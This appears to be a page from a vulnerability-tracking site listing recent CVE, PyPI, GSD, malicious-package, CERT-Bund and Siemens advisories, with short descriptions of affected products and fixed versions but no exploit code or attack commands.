2024-02-05T20:45:49.705Z | 2024-04-25T15:12:41.545Z |
| cve-2024-41815 (NVD) | Starship vulnerable to shell injection via undocumented, unpredictable shell expansion in custom commands |
starship |
starship |
2024-07-26T21:01:48.605Z | 2024-07-26T21:01:48.605Z | |
| cve-2024-41628 (NVD) | N/A | Directory Traversal vulnerability in Severalnines Cluster Control 1.9.8 before 1.9.8-9778, 2.0.0 before 2.0.0-9779, and 2.1.0 before 2.1.0-9780 allows a remote attacker to include and display file content in an HTTP request via the CMON API. |
n/a |
n/a |
2024-07-26T00:00:00 | 2024-07-26T20:28:12.581023 |
| cve-2024-41120 (NVD) | streamlit-geospatial blind SSRF in pages/9_🔲_Vector_Data_Visualization.py |
opengeos |
streamlit-geospatial |
2024-07-26T20:57:31.466Z | 2024-07-26T20:57:31.466Z | |
| cve-2024-41119 (NVD) | streamlit-geospatial remote code execution in pages/8_🏜️_Raster_Data_Visualization.py |
opengeos |
streamlit-geospatial |
2024-07-26T20:54:49.052Z | 2024-07-26T20:54:49.052Z | |
| cve-2024-41118 (NVD) | streamlit-geospatial blind SSRF in pages/7_📦_Web_Map_Service.py |
opengeos |
streamlit-geospatial |
2024-07-26T20:52:46.182Z | 2024-07-26T20:52:46.182Z | |
| cve-2024-41117 (NVD) | Remote code execution in streamlit geospatial in pages/10_🌍_Earth_Engine_Datasets.py |
opengeos |
streamlit-geospatial |
2024-07-26T20:49:44.689Z | 2024-07-26T20:49:44.689Z | |
| cve-2024-41116 (NVD) | Remote code execution in streamlit geospatial in pages/1_📷_Timelapse.py MODIS Ocean Color SMI option vis_params |
opengeos |
streamlit-geospatial |
2024-07-26T20:16:24.561Z | 2024-07-26T20:16:24.561Z | |
| cve-2024-41115 (NVD) | Remote code execution in streamlit geospatial in pages/1_📷_Timelapse.py MODIS Ocean Color SMI option palette |
opengeos |
streamlit-geospatial |
2024-07-26T20:13:35.684Z | 2024-07-26T20:13:35.684Z | |
| cve-2024-41114 (NVD) | Remote code execution in streamlit geospatial in pages/1_📷_Timelapse.py MODIS Gap filled Land Surface Temperature Daily option |
opengeos |
streamlit-geospatial |
2024-07-26T20:10:48.528Z | 2024-07-26T20:10:48.528Z |
| ID | Description |
|---|---|
| pysec-2023-243 | Missing SSL certificate validation in localstack v2.3.2 allows attackers to eavesdrop on communications between the host and server via a man-in-the-middle attack. |
| pysec-2023-194 | langchain_experimental 0.0.14 allows an attacker to bypass the CVE-2023-36258 fix and execute arbitrary code via the PALChain in the python exec method. |
| pysec-2024-66 | dbt enables data analysts and engineers to transform their data using the same practices that software engineers use to build applications. When a user installs a package in dbt, it has the ability to override macros, materializations, and other core components of dbt. This is by design, as it allows packages to extend and customize dbt's functionality. However, this also means that a malicious package could potentially override these components with harmful code. This issue has been fixed in versions 1.8.0, 1.6.14 and 1.7.14. Users are advised to upgrade. There are no kn own workarounds for this vulnerability. Users updating to either 1.6.14 or 1.7.14 will need to set `flags.require_explicit_package_overrides_for_builtin_materializations: False` in their configuration in `dbt_project.yml`. |
| pysec-2024-65 | Roundup before 2.4.0 allows XSS via JavaScript in PDF, XML, and SVG documents. |
| pysec-2024-64 | Roundup before 2.4.0 allows XSS via a SCRIPT element in an HTTP Referer header. |
| pysec-2024-63 | In Roundup before 2.4.0, classhelpers (_generic.help.html) allow XSS. |
| pysec-2024-62 | Versions of the package langchain-experimental from 0.0.15 and before 0.0.21 are vulnerable to Arbitrary Code Execution when retrieving values from the database, the code will attempt to call 'eval' on all values. An attacker can exploit this vulnerability and execute arbitrary python code if they can control the input prompt and the server is configured with VectorSQLDatabaseChain. **Notes:** Impact on the Confidentiality, Integrity and Availability of the vulnerable component: Confidentiality: Code execution happens within the impacted component, in this case langchain-experimental, so all resources are necessarily accessible. Integrity: There is nothing protected by the impacted component inherently. Although anything returned from the component counts as 'information' for which the trustworthiness can be compromised. Availability: The loss of availability isn't caused by the attack itself, but it happens as a result during the attacker's post-exploitation steps. Impact on the Confidentiality, Integrity and Availability of the subsequent system: As a legitimate low-privileged user of the package (PR:L) the attacker does not have more access to data owned by the package as a result of this vulnerability than they did with normal usage (e.g. can query the DB). The unintended action that one can perform by breaking out of the app environment and exfiltrating files, making remote connections etc. happens during the post exploitation phase in the subsequent system - in this case, the OS. AT:P: An attacker needs to be able to influence the input prompt, whilst the server is configured with the VectorSQLDatabaseChain plugin. |
| pysec-2024-61 | A Stored Cross-Site Scripting (XSS) vulnerability exists in gaizhenbiao/chuanhuchatgpt version 20240410. This vulnerability allows an attacker to inject malicious JavaScript code into the chat history file. When a victim uploads this file, the malicious script is executed in the victim's browser. This can lead to user data theft, session hijacking, malware distribution, and phishing attacks. |
| pysec-2024-60 | A vulnerability was identified in the kjd/idna library, specifically within the `idna.encode()` function, affecting version 3.6. The issue arises from the function's handling of crafted input strings, which can lead to quadratic complexity and consequently, a denial of service condition. This vulnerability is triggered by a crafted input that causes the `idna.encode()` function to process the input with considerable computational load, significantly increasing the processing time in a quadratic manner relative to the input size. |
| pysec-2024-59 | An issue was discovered in Django 5.0 before 5.0.7 and 4.2 before 4.2.14. get_supported_language_variant() was subject to a potential denial-of-service attack when used with very long strings containing specific characters. |
| pysec-2024-58 | An issue was discovered in Django 5.0 before 5.0.7 and 4.2 before 4.2.14. Derived classes of the django.core.files.storage.Storage base class, when they override generate_filename() without replicating the file-path validations from the parent class, potentially allow directory traversal via certain inputs during a save() call. (Built-in Storage sub-classes are unaffected.) |
| pysec-2024-57 | An issue was discovered in Django 5.0 before 5.0.7 and 4.2 before 4.2.14. The django.contrib.auth.backends.ModelBackend.authenticate() method allows remote attackers to enumerate users via a timing attack involving login requests for users with an unusable password. |
| pysec-2024-56 | An issue was discovered in Django 4.2 before 4.2.14 and 5.0 before 5.0.7. urlize and urlizetrunc were subject to a potential denial of service attack via certain inputs with a very large number of brackets. |
| pysec-2024-54 | CodeChecker is an analyzer tooling, defect database and viewer extension for the Clang Static Analyzer and Clang Tidy. Zip files uploaded to the server endpoint of `CodeChecker store` are not properly sanitized. An attacker, using a path traversal attack, can load and display files on the machine of `CodeChecker server`. The vulnerable endpoint is `/Default/v6.53/CodeCheckerService@massStoreRun`. The path traversal vulnerability allows reading data on the machine of the `CodeChecker server`, with the same permission level as the `CodeChecker server`. The attack requires a user account on the `CodeChecker server`, with permission to store to a server, and view the stored report. This vulnerability has been patched in version 6.23. |
| pysec-2024-53 | langchain_experimental (aka LangChain Experimental) before 0.0.61 for LangChain provides Python REPL access without an opt-in step. NOTE; this issue exists because of an incomplete fix for CVE-2024-27444. |
| pysec-2024-52 | lepture Authlib before 1.3.1 has algorithm confusion with asymmetric public keys. Unless an algorithm is specified in a jwt.decode call, HMAC verification is allowed with any asymmetric public key. (This is similar to CVE-2022-29217 and CVE-2024-33663.) |
| pysec-2024-51 | A broken access control vulnerability exists in mlflow/mlflow versions before 2.10.1, where low privilege users with only EDIT permissions on an experiment can delete any artifacts. This issue arises due to the lack of proper validation for DELETE requests by users with EDIT permissions, allowing them to perform unauthorized deletions of artifacts. The vulnerability specifically affects the handling of artifact deletions within the application, as demonstrated by the ability of a low privilege user to delete a directory inside an artifact using a DELETE request, despite the official documentation stating that users with EDIT permission can only read and update artifacts, not delete them. |
| pysec-2024-50 | Synapse is an open-source Matrix homeserver. A remote Matrix user with malicious intent, sharing a room with Synapse instances before 1.105.1, can dispatch specially crafted events to exploit a weakness in the V2 state resolution algorithm. This can induce high CPU consumption and accumulate excessive data in the database of such instances, resulting in a denial of service. Servers in private federations, or those that do not federate, are not affected. Server administrators should upgrade to 1.105.1 or later. Some workarounds are available. One can ban the malicious users or ACL block servers from the rooms and/or leave the room and purge the room using the admin API. |
| pysec-2023-260 | A reflected Cross-Site Scripting (XSS) vulnerability exists in the mlflow/mlflow repository, specifically within the handling of the Content-Type header in POST requests. An attacker can inject malicious JavaScript code into the Content-Type header, which is then improperly reflected back to the user without adequate sanitization or escaping, leading to arbitrary JavaScript execution in the context of the victim's browser. The vulnerability is present in the mlflow/server/auth/__init__.py file, where the user-supplied Content-Type header is directly injected into a Python formatted string and returned to the user, facilitating the XSS attack. |
| pysec-2024-49 | Lektor before 3.3.11 does not sanitize DB path traversal. Thus, shell commands might be executed via a file that is added to the templates directory, if the victim's web browser accesses an untrusted website that uses JavaScript to send requests to localhost port 5000, and the web browser is running on the same machine as the "lektor server" command. |
| pysec-2024-48 | Versions of the package black before 24.3.0 are vulnerable to Regular Expression Denial of Service (ReDoS) via the lines_with_leading_tabs_expanded function in the strings.py file. An attacker could exploit this vulnerability by crafting a malicious input that causes a denial of service. Exploiting this vulnerability is possible when running Black on untrusted input, or if you habitually put thousands of leading tab characters in your docstrings. |
| pysec-2024-47 | In Django 3.2 before 3.2.25, 4.2 before 4.2.11, and 5.0 before 5.0.3, the django.utils.text.Truncator.words() method (with html=True) and the truncatewords_html template filter are subject to a potential regular expression denial-of-service attack via a crafted string. NOTE: this issue exists because of an incomplete fix for CVE-2019-14232 and CVE-2023-43665. |
| pysec-2024-46 | Apache Airflow, versions 2.8.0 through 2.8.2, has a vulnerability that allows an authenticated user with limited permissions to access resources such as variables, connections, etc from the UI which they do not have permission to access. Users of Apache Airflow are recommended to upgrade to version 2.8.3 or newer to mitigate the risk associated with this vulnerability |
| pysec-2024-45 | LangChain through 0.1.10 allows ../ directory traversal by an actor who is able to control the final part of the path parameter in a load_chain call. This bypasses the intended behavior of loading configurations only from the hwchase17/langchain-hub GitHub repository. The outcome can be disclosure of an API key for a large language model online service, or remote code execution. (A patch is available as of release 0.1.29 of langchain-core.) |
| pysec-2024-44 | In RPyC before 6.0.0, when a server exposes a method that calls the attribute named __array__ for a client-provided netref (e.g., np.array(client_netref)), a remote attacker can craft a class that results in remote code execution. |
| pysec-2024-43 | LangChain through 0.1.10 allows ../ directory traversal by an actor who is able to control the final part of the path parameter in a load_chain call. This bypasses the intended behavior of loading configurations only from the hwchase17/langchain-hub GitHub repository. The outcome can be disclosure of an API key for a large language model online service, or remote code execution. |
| pysec-2024-42 | Apache Airflow, versions before 2.8.2, has a vulnerability that allows authenticated Ops and Viewers users to view all information on audit logs, including dag names and usernames they were not permitted to view. With 2.8.2 and newer, Ops and Viewer users do not have audit log permission by default, they need to be explicitly granted permissions to see the logs. Only admin users have audit log permission by default. Users of Apache Airflow are recommended to upgrade to version 2.8.2 or newer to mitigate the risk associated with this vulnerability |
| pysec-2023-259 | A vulnerability, which was classified as critical, has been found in MicroPython 1.21.0/1.22.0-preview. Affected by this issue is the function poll_set_add_fd of the file extmod/modselect.c. The manipulation leads to use after free. The exploit has been disclosed to the public and may be used. The patch is identified as 8b24aa36ba978eafc6114b6798b47b7bfecdca26. It is recommended to apply a patch to fix this issue. VDB-249158 is the identifier assigned to this vulnerability. |
| pysec-2023-258 | A vulnerability, which was classified as critical, has been found in MicroPython 1.21.0/1.22.0-preview. Affected by this issue is the function poll_set_add_fd of the file extmod/modselect.c. The manipulation leads to use after free. The exploit has been disclosed to the public and may be used. The patch is identified as 8b24aa36ba978eafc6114b6798b47b7bfecdca26. It is recommended to apply a patch to fix this issue. VDB-249158 is the identifier assigned to this vulnerability. |
| pysec-2023-257 | A vulnerability, which was classified as critical, has been found in MicroPython 1.21.0/1.22.0-preview. Affected by this issue is the function poll_set_add_fd of the file extmod/modselect.c. The manipulation leads to use after free. The exploit has been disclosed to the public and may be used. The patch is identified as 8b24aa36ba978eafc6114b6798b47b7bfecdca26. It is recommended to apply a patch to fix this issue. VDB-249158 is the identifier assigned to this vulnerability. |
| ID | Description |
|---|---|
| gsd-2024-33903 | The format of the source doesn't require a description, click on the link for more details |
| gsd-2024-33902 | The format of the source doesn't require a description, click on the link for more details |
| gsd-2024-33901 | The format of the source doesn't require a description, click on the link for more details |
| gsd-2024-33900 | The format of the source doesn't require a description, click on the link for more details |
| gsd-2024-33899 | The format of the source doesn't require a description, click on the link for more details |
| gsd-2024-33898 | The format of the source doesn't require a description, click on the link for more details |
| gsd-2024-33897 | The format of the source doesn't require a description, click on the link for more details |
| gsd-2024-33896 | The format of the source doesn't require a description, click on the link for more details |
| gsd-2024-33895 | The format of the source doesn't require a description, click on the link for more details |
| gsd-2024-33894 | The format of the source doesn't require a description, click on the link for more details |
| gsd-2024-33893 | The format of the source doesn't require a description, click on the link for more details |
| gsd-2024-33892 | The format of the source doesn't require a description, click on the link for more details |
| gsd-2024-33891 | The format of the source doesn't require a description, click on the link for more details |
| gsd-2024-33890 | The format of the source doesn't require a description, click on the link for more details |
| gsd-2024-33889 | The format of the source doesn't require a description, click on the link for more details |
| gsd-2024-33888 | The format of the source doesn't require a description, click on the link for more details |
| gsd-2024-33887 | The format of the source doesn't require a description, click on the link for more details |
| gsd-2024-33886 | The format of the source doesn't require a description, click on the link for more details |
| gsd-2024-33885 | The format of the source doesn't require a description, click on the link for more details |
| gsd-2024-33884 | The format of the source doesn't require a description, click on the link for more details |
| gsd-2024-33883 | The format of the source doesn't require a description, click on the link for more details |
| gsd-2024-4303 | The format of the source doesn't require a description, click on the link for more details |
| gsd-2024-4302 | The format of the source doesn't require a description, click on the link for more details |
| gsd-2024-4301 | The format of the source doesn't require a description, click on the link for more details |
| gsd-2024-4300 | The format of the source doesn't require a description, click on the link for more details |
| gsd-2024-4299 | The format of the source doesn't require a description, click on the link for more details |
| gsd-2024-4298 | The format of the source doesn't require a description, click on the link for more details |
| gsd-2024-4297 | The format of the source doesn't require a description, click on the link for more details |
| gsd-2024-4296 | The format of the source doesn't require a description, click on the link for more details |
| gsd-2024-33882 | The format of the source doesn't require a description, click on the link for more details |
| ID | Description |
|---|---|
| mal-2024-1280 | --- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (a17b660a440d2cb884c99312341fc58bf33cac16bb05ecf3065ab4f40c073c4b) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. |
| mal-2024-1291 | --- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (6c5e6f0820c8729977d62b9cc34c7461719fd4056fc5e8e9f44426ad3c1f60d7) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. |
| mal-2024-1287 | --- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (308d5a6fa5eb0973b0ff8290c321ac60685b686f42543a7a09b16a5fe56a7457) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. |
| mal-2024-1295 | --- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (4554cad7be69cbff28d6e2e4d3535b5d7b4158f2efa1c79eaaf705151ec686ff) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. |
| mal-2024-1293 | --- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (45e4d71b34d2eb0cd66dc9d19da997d325017d19687f304f39e1138fe0a0f0fa) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. |
| mal-2024-1283 | --- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (adbea70f2acb33710c8ecb7e13e55c24980ccd349854aa6c82915d2829359e15) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. |
| mal-2024-1286 | --- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (63cea4fbbb1333188e78d11622c9b943608aea6770144dacf6e1184036a646b7) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. |
| mal-2024-1285 | --- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (86831222f9b0a818e862c2db4a2e7f56259e7bae31f417c9464d2c19cb67dadb) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. |
| mal-2024-1284 | --- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (c46cf6695c1ee706d7c20760d479bc271d109c548485e896885c9f7b6d704928) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. |
| mal-2024-1296 | --- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (8ed8a707955886dfaa2b55283c703e3acbc8f5db17a426587702b53e53a9c0fb) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. |
| mal-2024-1290 | --- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (90d2e2f79b4c5000c976cd4c1e99d091bb46b7dbee831bff50b3c69ff36e7dbf) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. |
| mal-2024-1281 | --- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (4e6853d07fc7ca8efb0ffc45302b6b677a4b83c2e2de0e773616d9009f9b0ad8) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. |
| mal-2024-1288 | --- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (6d7bd1b87c4b816789f583c6667d202f613eab5d352c1fcbe90fe1b182a0d13c) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. |
| mal-2024-1282 | --- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (6cdabf6ac5434305cb152ee0eaf4d9cbac6f1de324ae91052537dc8fcfa94410) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. |
| mal-2024-1294 | --- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (6da5a4c9da80939fd8b4009200d8e59514e1d3a5664d9b7150b27f40250a584d) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. |
| mal-2024-1289 | --- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (fa5e340610d92b601dc5de1615c159ce6efea84fa66dccd8d99128054d7cf5c8) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. |
| mal-2024-1292 | --- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (271bfa6075e1282de1c0d5269d79377fe6b16e9d60fa41a2a6a070cb97795905) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. |
| mal-2024-1279 | --- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (b3dcc117202e21ae1b180b5f80af9dc0a1c0082aee807792f2aeb5b62c8e647d) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. |
| mal-2024-1278 | --- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (736ee4fff51c88da50dc79bba67dcb4ee43dd8242b6d75beb08f8ca5f9bc841c) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. |
| mal-2024-1277 | --- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (b16145b8b3fe74af3fb0b6c48f0e4f6454bc4b9b0d79f991d6373bc094ad279a) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. |
| mal-2024-1272 | --- _-= Per source details. Do not edit below this line.=-_ ## Source: ossf-package-analysis (48accd040235db7bd6be1bcdc1f268ed9f438c3d3029090ee357139bbe870759) The OpenSSF Package Analysis project identified '@portal-packages/core' @ 15.105.105 (npm) as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious activity. - The package executes one or more commands associated with malicious behavior. |
| mal-2024-1274 | --- _-= Per source details. Do not edit below this line.=-_ ## Source: ossf-package-analysis (c0d823ab954cd19f85bb933d25f8230386023a6a1fd15430efce0298f6a25aa9) The OpenSSF Package Analysis project identified 'ui-common-components-angular' @ 1.3.1 (npm) as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious activity. - The package executes one or more commands associated with malicious behavior. |
| mal-2024-1273 | --- _-= Per source details. Do not edit below this line.=-_ ## Source: ossf-package-analysis (c4d7b54aa00bce85364eddf568913642023e355ba669803fa01e20a143e93a47) The OpenSSF Package Analysis project identified 'metrics-balancer' @ 0.2.0 (npm) as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious activity. |
| mal-2024-1275 | --- _-= Per source details. Do not edit below this line.=-_ ## Source: ossf-package-analysis (543a89535f49dbd2c40707219fba6c80040d752e90ba3347abf1d61e9ea0e477) The OpenSSF Package Analysis project identified '@portal-packages/utils' @ 3.0.99 (npm) as malicious. It is considered malicious because: - The package executes one or more commands associated with malicious behavior. |
| mal-2024-1276 | --- _-= Per source details. Do not edit below this line.=-_ ## Source: ossf-package-analysis (65b5439bd3051d2315be6f4ae90f3235c5e41c2d9afa4a3c8f6ff3271c31cb9a) The OpenSSF Package Analysis project identified 'cz-ifood-conventional-changelog' @ 1.0.101 (npm) as malicious. It is considered malicious because: - The package executes one or more commands associated with malicious behavior. |
| mal-2024-1267 | --- _-= Per source details. Do not edit below this line.=-_ ## Source: ossf-package-analysis (82ce80367972231229038d234d1114c39f459b1c4bfe4a03392a3cfa35d4454b) The OpenSSF Package Analysis project identified 'commitlint-config-ifood' @ 1.95.102 (npm) as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious activity. |
| mal-2024-1271 | --- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (dd6b41d316342a401f8e262adb37d1982a359946c37d5b6dbbf9903eed6c6ea0) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. |
| mal-2024-1269 | --- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (05c6cf9e3c0564724471422898f07aea9b5234d6c00d38d95441a3fbe18cd004) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. |
| mal-2024-1270 | --- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (cf9eff937bcee16db9ca91202bb07969de9b49b32196de1bb49ade4bcbe83d31) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. |
| mal-2024-1268 | --- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (e32870b3e9ee7f6a8468b3fea4e188d906aa415456731059a4eb93984078ab9a) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. |
| ID | Description |
|---|---|
| wid-sec-w-2024-1709 | Podman: Schwachstelle ermöglicht Denial of Service |
| wid-sec-w-2024-1708 | Atlassian Bitbucket: Schwachstelle ermöglicht Darstellen falscher Informationen |
| wid-sec-w-2024-1707 | Red Hat Advanced Cluster Security for Kubernetes: Mehrere Schwachstellen ermöglichen Offenlegung von Informationen |
| wid-sec-w-2024-1706 | Linux Kernel: Mehrere Schwachstellen ermöglichen Denial of Service |
| wid-sec-w-2024-1705 | VMware Tanzu Spring Cloud: Schwachstelle ermöglicht Codeausführung |
| wid-sec-w-2024-1704 | GitLab: Mehrere Schwachstellen |
| wid-sec-w-2024-1578 | RADIUS: Schwachstelle ermöglicht Umgehen von Sicherheitsvorkehrungen |
| wid-sec-w-2024-1547 | OpenSSH auf Red Hat Enterprise Linux 9: Schwachstelle ermöglicht Denial of Service |
| wid-sec-w-2024-1504 | Apache HTTP Server: Mehrere Schwachstellen |
| wid-sec-w-2024-1486 | OpenSSH: Schwachstelle ermöglicht Codeausführung |
| wid-sec-w-2024-1474 | Red Hat OpenShift Container Platform: Mehrere Schwachstellen |
| wid-sec-w-2024-1436 | poppler: Schwachstelle ermöglicht Denial of Service |
| wid-sec-w-2024-1431 | Linux Kernel: Mehrere Schwachstellen ermöglichen Denial of Service |
| wid-sec-w-2024-1422 | Linux Kernel: Mehrere Schwachstellen ermöglichen nicht spezifizierten Angriff |
| wid-sec-w-2024-1418 | Linux Kernel: Mehrere Schwachstellen ermöglichen nicht spezifizierten Angriff |
| wid-sec-w-2024-1402 | Linux Kernel: Mehrere Schwachstellen |
| wid-sec-w-2024-1328 | Red Hat Ansible Automation Platform: Mehrere Schwachstellen |
| wid-sec-w-2024-1287 | Golang Go: Mehrere Schwachstellen |
| wid-sec-w-2024-1259 | Linux Kernel: Mehrere Schwachstellen ermöglichen Denial of Service und unspezifischen Atatck |
| wid-sec-w-2024-1197 | Linux Kernel: Mehrere Schwachstellen ermöglichen Denial of Service und unspezifische Angriffe |
| wid-sec-w-2024-1188 | Linux Kernel: Mehrere Schwachstellen ermöglichen Denial of Service |
| wid-sec-w-2024-1144 | LibreOffice: Schwachstelle ermöglicht Codeausführung |
| wid-sec-w-2024-1071 | Golang Go: Mehrere Schwachstellen |
| wid-sec-w-2024-1017 | Red Hat Enterprise Linux (libvirt): Schwachstelle ermöglicht Denial of Service |
| wid-sec-w-2024-1008 | Linux Kernel: Mehrere Schwachstellen ermöglichen Denial of Service |
| wid-sec-w-2024-0964 | Linux Kernel: Mehrere Schwachstellen ermöglichen nicht spezifizierten Angriff |
| wid-sec-w-2024-0920 | Linux Kernel: Mehrere Schwachstellen |
| wid-sec-w-2024-0804 | Linux Kernel: Mehrere Schwachstellen ermöglichen Denial of Service |
| wid-sec-w-2024-0789 | HTTP/2: Mehrere Schwachstellen ermöglichen Denial of Service |
| wid-sec-w-2024-0776 | Node.js: Mehrere Schwachstellen |
| ID | Description |
|---|---|
| ssa-900277 | SSA-900277: MODEL File Parsing Vulnerability in Tecnomatix Plant Simulation before V2302.0012 and V2024.0001 |
| ssa-879734 | SSA-879734: Multiple Vulnerabilities in SCALANCE XM-400/XR-500 before V6.6.1 |
| ssa-871704 | SSA-871704: Multiple Vulnerabilities in SICAM Products |
| ssa-832273 | SSA-832273: Multiple Vulnerabilities in Fortigate NGFW before V7.4.3 on RUGGEDCOM APE1808 devices |
| ssa-771940 | SSA-771940: X_T File Parsing Vulnerabilities in Teamcenter Visualization and JT2Go |
| ssa-753746 | SSA-753746: Denial of Service Vulnerabilities in SIMATIC WinCC Affecting Other SIMATIC Software Products |
| ssa-711309 | SSA-711309: Denial of Service Vulnerability in the OPC UA Implementations of SIMATIC Products |
| ssa-690517 | SSA-690517: Multiple Vulnerabilities in SCALANCE W700 802.11 AX Family |
| ssa-625862 | SSA-625862: Multiple Vulnerabilities in Third-Party Components in SIMATIC CP 1542SP-1 and CP 1543SP-1 before V2.3 |
| ssa-620338 | SSA-620338: Buffer Overflow Vulnerability in SICAM AK3 / BC / TM |
| ssa-599968 | SSA-599968: Denial-of-Service Vulnerability in Profinet Devices |
| ssa-566905 | SSA-566905: Multiple Denial of Service Vulnerabilities in the Webserver of Industrial Products |
| ssa-540640 | SSA-540640: Improper Privilege Management Vulnerability in Mendix Runtime |
| ssa-482757 | SSA-482757: Missing Immutable Root of Trust in S7-1500 CPU devices |
| ssa-481506 | SSA-481506: Information Disclosure Vulnerability in SIMATIC S7-200 SMART Devices |
| ssa-446448 | SSA-446448: Denial of Service Vulnerability in PROFINET Stack Integrated on Interniche Stack |
| ssa-407785 | SSA-407785: Multiple X_T File Parsing Vulnerabilities in Parasolid and Teamcenter Visualization |
